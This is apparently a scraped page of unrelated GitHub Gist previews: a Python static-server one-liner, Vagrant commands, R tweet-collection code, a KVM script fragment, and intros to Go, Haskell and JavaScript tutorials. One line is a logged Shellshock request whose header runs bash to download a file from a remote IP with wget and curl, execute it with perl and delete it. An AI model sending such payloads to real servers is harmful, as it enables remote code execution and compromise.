Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
gem install vagrant | |
vagrant box add precise64 http://files.vagrantup.com/precise64.box | |
vagrant init | |
vagrant up |
// Use Gists to store code you would like to remember later on | |
console.log(window); // log the "window" object to the console |
library(twitteR) | |
library(ggplot2) | |
tweets <- list() | |
dates <- paste("2012-07-",11:18,sep="") # need to go to 18th to catch tweets from 17th | |
for (i in 2:length(dates)) { | |
print(paste(dates[i-1], dates[i])) | |
tweets <- c(tweets, searchTwitter("#ISMB", since=dates[i-1], until=dates[i], n=1500)) | |
} |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
#!/bin/bash | |
MEM=512 | |
LAN=eth0 | |
BRIDGE=virtbr | |
# runs under the user that started it. make sure it has access to /dev/kvm | |
function start_vm { | |
TAPIF=$1 |
... or Why Pipelining Is Not That Easy
Golang Concurrency Patterns for brave and smart.
By @kachayev
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22 |
Introduction to Haskell | |
--- | |
This document is in Literate Haskell. This means that you can download and run this file with `ghci intro.lhs`, and be able to run the functions defined in this file. | |
Haskell is a pure functional programming language that comes with lazy evaluation (in GHC, that is). Its elegance is why many programmers like writing code in Haskell. In this document, I'll give a couple of examples. | |
This document assumes that the reader has at least an intermediate knowledge in an imperative programming language, but does not assume knowledge of functional programming. | |
Also, this document is not intended to teach Haskell. This document is intended to explain the code just briefly, such that the reader understands what the code is doing. |
It's easy to trip up on the meaning of this
in JavaScript. The behavior is very different from other languages, which means we have to throw most preconceptions and intuition out the window.
The best way to think of this
in JS is as a hidden argument which is passed in a slightly awkward way. Instead of the normal passing of arguments:
fn(arg1, arg2, arg3)
Custom recipe to get OS X 10.11 El Capitan running from scratch with useful applications and Node.js Developer environment. I use this gist to keep track of the important software and steps required to have a functioning system after fresh install.